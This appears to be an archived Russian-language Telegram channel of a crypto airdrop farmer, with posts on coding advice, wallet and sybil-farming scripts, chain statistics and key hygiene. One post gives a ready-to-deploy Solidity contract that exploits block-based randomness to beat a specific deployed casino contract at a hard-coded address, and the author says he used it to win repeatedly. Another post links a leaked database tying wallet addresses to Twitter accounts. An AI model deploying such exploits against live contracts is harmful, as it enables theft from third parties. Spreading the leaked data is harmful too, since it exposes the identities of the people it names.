en
Feedback
Разнорабочий | Заметки

Разнорабочий | Заметки

Open in Telegram

Публикую статьи, мысли, скрипты Связанный чат канала: https://t.me/raznorabochiy_chat

Show more
6 114
Subscribers
No data24 hours
-147 days
-4330 days
Posts Archive
Хард скилы, завод 2/2 Возвращаясь к программированию. Если решили заняться именно им, то на старте выбор не большой: JavaScript (TypeScript) или Python Плюсы js: проще реверс-инженирить бандл сайта, если нужно понять формирования какой-нибудь хитрой подписи, которая является аргументом в вызове смарт-контракта. Весь фронтенд сайтов делается только на js. Несколько очень хороших библиотек для работы с EVM: Web3.js, Ethers, Viem Минусы js: Язык местами очень странный, довольно медленный Плюсы python: более высокая скорость работы, огромное количество полезных библиотек, по настоящему универсальный язык, который используют во всех областях и в больших данных и в машинном обучении и в статистике Минусы python: не все блокчейны выпускают на старте библиотеки для работы с ними на python, чаще выпускают библиотеку для взаимодействия на js С чего начать обучение Первое, это учебные материалы — база. Для js это https://learn.javascript.ru Больше в принципе ничего и не нужно, если не собираетесь писать что-то для браузера, можно скипнуть раздел про DOM. Для питон знакомые рекомендуют https://www.codecademy.com/catalog/language/python Второе, иметь перед глазами примеры кода для подражания, это должны быть очень хорошие скрипты. Сейчас на рынке огромное число бесплатных публичных скриптов, но проблема в том, что написаны они не очень хорошо. Среди десятков авторов, которых я смотрел, и у которых действительно очень хороший стиль, достойных для подражания не много: Python https://github.com/czbag — эталонный код, всё понятно, аккуратно, структурировано, декораторы к месту, ООП уместно использовано, там где оно нужно JS/TS: https://github.com/munris-vlad/base https://github.com/humansimulacrum/aptos-simulator Пост будет дополняться хорошими авторами и учебными материалами.

Хард скилы, завод 1/2 Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам. Не смотря на то, что
Хард скилы, завод 1/2 Знакомые и парни из нашего DAO меня периодически спрашивают советы по хард скилам. Не смотря на то, что в ближайшей перспективе маячат крупные дропы, затяжная медвежка наводит на мысли о том, что неплохо было бы иметь навыки для булрана или возможность в любой момент устроиться на завод. Немного расскажу про свой случай, я не фултайм в крипте, регуляный доход я получаю на заводе, все активности в крипте я делаю параллельно, у меня 2 раза были мысли бросить завод, когда я зарабатывал в крипте крупные суммы, но всегда за ними следовал обвал рынка 😁 Конкретно мой случай с заводом меня устраивает тем, что я могу работать из дома и многие задачи я делаю на автомате, что не отнимает у меня много ментальных сил. По поводу хард скилов. Тут нужно определиться, в какой из областей вы хотите развиваться. Программирование, как самое первое, что приходит на ум, не всем подходит. Чтобы развиваться в этой сфере, оно должно нравиться и доставлять удовольствие. Иначе вы просто не сможете найти мотивацию для дальнейшего обучения. Есть другие области в it, которые могут больше подойти, например аналитик (если нравится анализировать данные, копаться в транзакциях, находить закономерности), сисадмин/девопс (если нравится ставить ноды) У Яндекса есть бесплатный курс «Старт в IT» https://practicum.yandex.ru/start-in-it/ который может быть не бесполезным и поможет сориентироваться. продолжение в следующем посте

Угадываем «случайное число» Пост про казино набрал 100 реакций, это рекорд для моего канала, спасибо! Как и обещал, рассказываю решение. Смотрим текст контракта Нас интересует функция randomChoice:
function randomChoice() private view returns (uint) {
 return uint(Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1));
}
видим, что она зависит от номера блока block.number и времени создания блока block.timestamp Для того, чтобы контролировать эти значения, есть один трюк, нужно вызвать метод play не напрямую, а из другого контракта, получится, что в этом контракте-обёртке при вызове всё будет происходить в том же самом блоке и мы точно будем знать номер блока и время блока и можем предугадать «случайное число» в вызываемом контракте. Вот код этого контракта:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// интерфейс контракта казино
interface PSC {
    function play(uint _choice, uint _bet) external payable;
}

contract Winner {
    address owner;
    enum Choice { None, Rock, Paper, Scissors }

    constructor() {
        owner = msg.sender;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Only owner can call this function");
        _;
    }

    function play() public payable {
        // адрес контракта казино
        PSC casino = PSC(0xdc1F526FFaC607d9680A0d1290baCe2b539d82Ab);
        
        // копируем алгоритм получения числа из контракта казино, именно это число казино сгенерирует, так как код выполнится в том же блоке
        Choice casinoChoice = Choice(uint(keccak256(abi.encodePacked(block.timestamp, blockhash(block.number - 1)))) % 3 + 1);
        uint choice = 0;

        // тут вычисляем решение, которое перебьёт выбор казино
        if (casinoChoice == Choice.Rock) {
            choice = uint(Choice.Paper);
        } else if (casinoChoice == Choice.Paper) {
            choice = uint(Choice.Scissors);
        } else if (casinoChoice == Choice.Scissors) {
            choice = uint(Choice.Rock);
        }

        // вызываем контракт казино и передаём туда выигрышное значение
        casino.play{ value: 1000000000000000 }(choice, 1000000000000000);
    }

    // не забываем функцию вывода денег из нашего контракта
    function withdraw(uint amount) public onlyOwner {
        require(address(this).balance >= amount, "Insufficient balance for withdrawal");
        payable(owner).transfer(amount);
    }

    receive() external payable {
    }
}
Теперь задеплоив этот контракт, например через Remix IDE, можно вызывать метод play у контракта Winner, которы вызовет метод play у контракта казино и выиграет. Откуда я узнал про этот трюк? Есть несколько CTF по безопасности смарт-контрактов, я их проходил некоторое время назад: * https://capturetheether.com/ — к сожалению пройти сейчас уже нельзя, так как все задания проводились в тестовой сети Ropsten, которая сейчас не работает, но можно почитать задания и найти решения квестов * https://ethernaut.openzeppelin.com/ — это работает

Казино не всегда выигрывает Тут Kauman выкатил казино для сибилов, для накрутки дешёвых транз в Nova, Zora, Base и Scroll. Проблема в его реализации казино - случайное число генерируется на основе данных блока, классика. Я вынес его казино в Арбитрум Нове (в демонстрационных целях) 5-ю выигрышными транзами вподряд. Трюк не сложный, если у этого сообщения будет 100 лайков, расскажу как я это сделал и приложу код.

Универсальная деплоелка контрактов По-быстрому дописал деплоелку - https://github.com/raznorabochiy/simple-deploy Умеет деплоить контракты по списку приватников. Прекомпилированны 3 стандартных контракта из Remix IDE, деплоит рандомно один из 3-х. 3-й контракт 3_Ballot.sol довольно жирный и цена его деплоя сильно выше, чем у 1_Storage.sol и 2_Owner.sol В принципе штука эта универсальная и подходит для любых EVM сетей, нужно только менять RPC. Я давно использовал этот скрипт для получения NFT разработчика на Base, но конкретно сейчас он понадобился для получения Soulbound NFT от Scroll - https://scroll.io/developer-nft/check-eligibility

Смена приватника в Aptos После публикации поста про смену приватников в Starknet, мне написало в лс куча людей, читатели мне
Смена приватника в Aptos После публикации поста про смену приватников в Starknet, мне написало в лс куча людей, читатели мне подсказали много полезных вещей, которые можно поресёрчить/проверить. Одна из таких любопытных вещей это факт, что в Aptos тоже можно заменить приватник! Я написал статью и пример кода. https://telegra.ph/Smena-privatnika-v-Aptos-10-24

Aptos Opt In Direct Transfer Экстренное включение, если этот скриншот вам о чём-нибудь говорит, у меня для вас хорошие новост
Aptos Opt In Direct Transfer Экстренное включение, если этот скриншот вам о чём-нибудь говорит, у меня для вас хорошие новости по ссылке ниже: https://github.com/raznorabochiy/aptos-opt-in-direct-transfer

Обновление Wallets Tools 💎 Добавил поддержку Aleo, работа с сид-фразами, адресами, приватниками. Проверил совместимость в «Leo Wallet» и «Soter | Aleo Wallet» npm run seeds:aleo:addresses — выводит Aleo-адреса из seed-фраз хранящихся в файле seeds.txt и записывает их в файл addresses.txt npm run seeds:aleo:privates — выводит Aleo-приватники из seed-фраз хранящихся в файле seeds.txt и записывает их в файл privates.txt npm run privates:aleo:addresses — выводит Aleo-адреса из Aleo-приватников хранящихся в файле privates.txt и записывает их в файл addresses.txt https://github.com/raznorabochiy/wallets-tools

Новый приватник для старого аккаунта Представьте, как было бы круто, если бы можно было менять приватник на своём кошельке?!
Новый приватник для старого аккаунта Представьте, как было бы круто, если бы можно было менять приватник на своём кошельке?! Купил аккаунты на OTC, поменял приватники и старый хозяин ничего не может сделать с аккаунтом. Или понял, что скомпрометировал сид-фразу/приватник, взял и поменял на новый. А что если я вам скажу что ТАКОЕ ВОЗМОЖНО! 🤯 Правда только в StarkNet благодаря их account abstraction. https://telegra.ph/Novyj-privatnik-dlya-starogo-akkaunta-10-10

Wallets Tools 💎 Моя тулза, которую использую для генерации сидок и кошельков. Она может: * сгенерировать N сид-фраз * сделать из сид-фраз приватники для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos) * сделать из сид-фраз адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos) * сделать из приватников адреса для EVM, Aptos, SUI, StarkNet (Argent X), StarkNet (Braavos) * перемешивать строки в текстовом фале (например вы используете софт который не шафлит приватники, перед тем как добавить туда их вы можете предварительно перемешать) * перемешивать строки в текстовом фале на группы по N (например разбиваете приватники по 9) и каждый день прогоняете в софте одну группу из 9 приватников Для Argent X может генерить как старые, так и новые приватники/адреса (у них менялся алгоритм при переходе на Cairo 1.0). После установки зависимостей можно отключить интернет и делать все операции без интернета, если параноити. Скрипты в принципе очень простые для понимания, библиотеки официальные. https://github.com/raznorabochiy/wallets-tools/

Статистика по Aptos Как и у Старкнета, источником данных по работе Aptos являются сканнеры/эксплореры. Кроме официального ска
Статистика по Aptos Как и у Старкнета, источником данных по работе Aptos являются сканнеры/эксплореры. Кроме официального скана есть несколько альтернативных. В этом посте хочу поделиться ссылками и указать на любопытную находку. https://aptoscan.com/statistics https://analytics.aptscan.ai https://explorer.aptoslabs.com/analytics Посмотрите на график роста новых кошельков. После огромного интервала с приростом по 3k-10k новых кошельков в день, с середины лета и по сей день прирост резко возрастает в 5-10 раз, это хорошо видно на графиках. Какого-то лютого шилла в СНГ-сибил сообществе я не наблюдаю. Встречал тейки о том, что у Аптоса есть токены предназначенные для комьюнити и это может быть вторым дропом, но не более. Кажется, что массово Аптос не крутят. Кто же эти люди, что ломанулись делать новые Aptos кошельки с середины лета? UPD: Вот тут https://liquidswap.com/#/aptos-staking/validators можно посмотреть количество людей застейкавших APT, сложив значение Active Delegators у всех валидаторов получим около 10k адресов на момент написания этого текста

Количество транз в Starknet С баликом разобрались в этом посте, с другими параметрами в предыдущем посте. Подписчик спросил,
Количество транз в Starknet С баликом разобрались в этом посте, с другими параметрами в предыдущем посте. Подписчик спросил, а где-же посмотреть статистику по количеству транзакций на аккаунт? Это важный параметр, но с этим немного сложнее. Я не нашёл быстрого способа получить эти данные и пришлось опросить 2.4M адресов. Это было не быстро, но всё получилось. В этот раз нарисовал круговую диаграмму для наглядности. UPD: дали ссылку на сервис https://starkstats.xyz/ в котором данные очень похожи на те, которые получились у меня

Распределение средств на аккаунтах Starknet В продолжение вчерашнего поста и тейка про то, что Starknet это сибил-бомж сеть.
+2
Распределение средств на аккаунтах Starknet В продолжение вчерашнего поста и тейка про то, что Starknet это сибил-бомж сеть. Я выгрузил балансы ETH, USDC и USDT для 2.4M кошельков и сгруппировал их для наглядности, как обычно это делают в дюне. Круговые диаграммы рисовать не стал, точнее стал, но они не очень наглядные, потому как некоторые части сливаются в линию.

Где смотреть статистику по Starknet? Как только начал крутить старкнет, по привычке пошёл на Дюну. Не смотря на то, что в Дюн
Где смотреть статистику по Starknet? Как только начал крутить старкнет, по привычке пошёл на Дюну. Не смотря на то, что в Дюне можно найти дашборды со словом Starknet в заголовке, все они будут очень странными, с занижеными значениями и почему-то evm-адресами. Так как во многих дашбордах SQL-запросы скрыты, не понятно что они там вообще считают. Скорее всего какие-нибудь бриджи в evm-сети. А вообще Дюна не поддерживает Старкнет, пруф Где же искать данные? У Старкнета есть целых три(!!!) эксплорера. И в каждом есть раздел со статистикой/аналитикой. Вы можете найти ответы на такие важные вопросы: * Сколько коешльков в сети? ~2.4M * Какой кош популярнее Argent X или Braavos? Argent X в 3 раза популярнее * Когда был пик сибилизации? 9 мая, 31 августа * Сколько создаётся новых кошельков в день? от 7k до 15k * Сколько кошельков обновились на Cairo 1.0? 53k * Сколько обычно держат эфира на балансе? Очень мало, сибил-бомж дао https://starkscan.co/stats#regenesi https://voyager.online/analytics https://viewblock.io/starknet/stats UPD: добавил ссылку на https://starkstats.xyz/

Если мой кошелёк сдрейнят, я не удивлюсь В последнее время всё чаще можно встретить сообщения инфлов о том, что их кошельки с
Если мой кошелёк сдрейнят, я не удивлюсь В последнее время всё чаще можно встретить сообщения инфлов о том, что их кошельки сдрейнили. Дрейнят не только людей, которые бездумно загоняют свои приватники в первый попавшийся софт на нелицензионной винде, но и людей которые соблюдают цифровую гигиену. У меня, как и у многих, есть несколько основных кошельков, на которых я делаю активности в ручном режиме и на которых есть условно несколько тысяч $, куча «паспортов», SBT, и прочего такого нажитого непосильным трудом. Потерять это было бы больно. Я начал параноить, вспоминать, где я мог проебаться и вспомнил 2 кейса, о которых многие не задумываются и которые могут привести к потере приватников. 1. Я часто загоняю приватники от майн кошей в собственные скрипты, это удобно, потому как у меня во всех сетях на майнах есть ликвиднось чтобы побыстрому потестировать скрипт. Однажды скопировав приватник и вставив в скрипт, я забыл о том, что приватник в буфере обмена. Чуть позже я скопировал текст с какой-то страницы чтобы поискать его в поисковике. Видимо, не прожал ctrl-c, далее вставляю в поисковую строку, хуяк вставляется приватник. ВСЁ. Даже не нажав enter, срабатывает suggest поисковой системы, который отправляет приватник в моём случае в Яндекс. И приватник навсегда осядет в логах саджеста, пока его не обнаружит какой-нибудь программист или аналитик. Я точно знаю, что они с этим логом работают и это только вопрос времени. 2. Если вы кодер, то возможно пользуетесь всякими модными AI штуками, которые встраиваются в редактор и помогают писать код, например copilot или codeium. Если вы вставляете в код приватник, а я делал это в тестовых скриптах, то при формировании подсказки эти тулзы отправляют ваши фрагменты кода на сервер, чтобы получить подсказку и ваши приватники наверняка осядают в логах и ждут когда их обнаружат сотрудники этих контор. Что я буду делать? Выводить крупные суммы с основных акичей и оставлять пару сотен для всяких активностей пока их не сдрейнят, они уже скомпрометированы.

Активность для бояр Сделал по-быстрому минтилку NFT EIGENWORLDS - BASE LAYER Минтит в Ethereum, при газе в 12 gwei получается
Активность для бояр Сделал по-быстрому минтилку NFT EIGENWORLDS - BASE LAYER Минтит в Ethereum, при газе в 12 gwei получается около $2. Максимальный газ можно настроить в конфиге, слова для минта можно настроить или они сгенерируются из словаря. Минт будет работать ещё 3 дня. https://github.com/raznorabochiy/eigenlayer-mint

С таким низким газом утром и в выходные дни, просто грех не гонять транзы в StarkNet. Тем более, что на рынке есть и бесплатн
С таким низким газом утром и в выходные дни, просто грех не гонять транзы в StarkNet. Тем более, что на рынке есть и бесплатный и недорогой платный софт. Недавно форкнул скрипт от Сибил мафии и дописал проверку газа в L1 перед отправкой транзакции - https://github.com/raznorabochiy/starknet-soft-retrodrops Также сегодня понял, что мне нехватает инструмента чтобы чекать количество транз и баланс основных токенов в Старкнете, написал скрипт для этого - https://github.com/raznorabochiy/starknet-stats Enjoy! До конца лета осталось 5 дней, дальше газ будет только расти 🚀

Та самая утёкшая база friend.tech привязка evm-адреса к твиттер-аккаунту https://gist.github.com/banteg/76d141fea2e658e5d2854944342f2d3d UPD: gist снесли, в комментах приложена сохранённая копия

gasLimit в zkSync В очередной раз увидел спор в чате на счёт gasLimit в zkSync, продублирую свой старый пост из приватки FACK
gasLimit в zkSync В очередной раз увидел спор в чате на счёт gasLimit в zkSync, продублирую свой старый пост из приватки FACKBLOCK Сделал бенчмарк, чтобы прояснить ситуацию с gasLimit в zkSync, влияет ли он на стоимость транзы или нет. В Ethereum не влияет. Я сделал 2 одинаковые транзакции на SyncSwap. Меняю 0.0001 ETH на 1.8966 USDC Абсолютно все параметры транзакций одинаковы, кроме gasLimit. У первой транзакции gasLimit автоматически расчитан через estimateGas, предложен нодой. У второй транзакции gasLimit = gasLimit первой транзы x 2 Важное условие, обе транзы должны попасть в один и тот же блок, чтобы другие условия не влияли, так как для каждого блока свой gasPrice и есть всякие нюансы работ свапалок, которые тоже могут влият на цену в разных блоках. Как вы видите на скриншоте, ДА gasLimit ВЛИЯЕТ НА СТОИМОСТЬ ТРАНЗАКЦИИ. Refund не уравнивает цену постфактум! Для меня это пиздец как странно, это всё равно, что в магазине я даю на кассе 1000 рублей, мне кассир продаёт Чупачупс за 100 рублей и возвращает сдачу, после меня подходит второй покупатель, даёт купюру 5000 рублей, ему кассир продаёт Чупачупс за 150 рублей и возвращает сдачу! Для бич-схем можно попробовать занижать gasLimit от предложенного нодой, но нужно быть готовым к тому, что транзы будут фейлится, а деньги за незавершённую транзакцию списываться.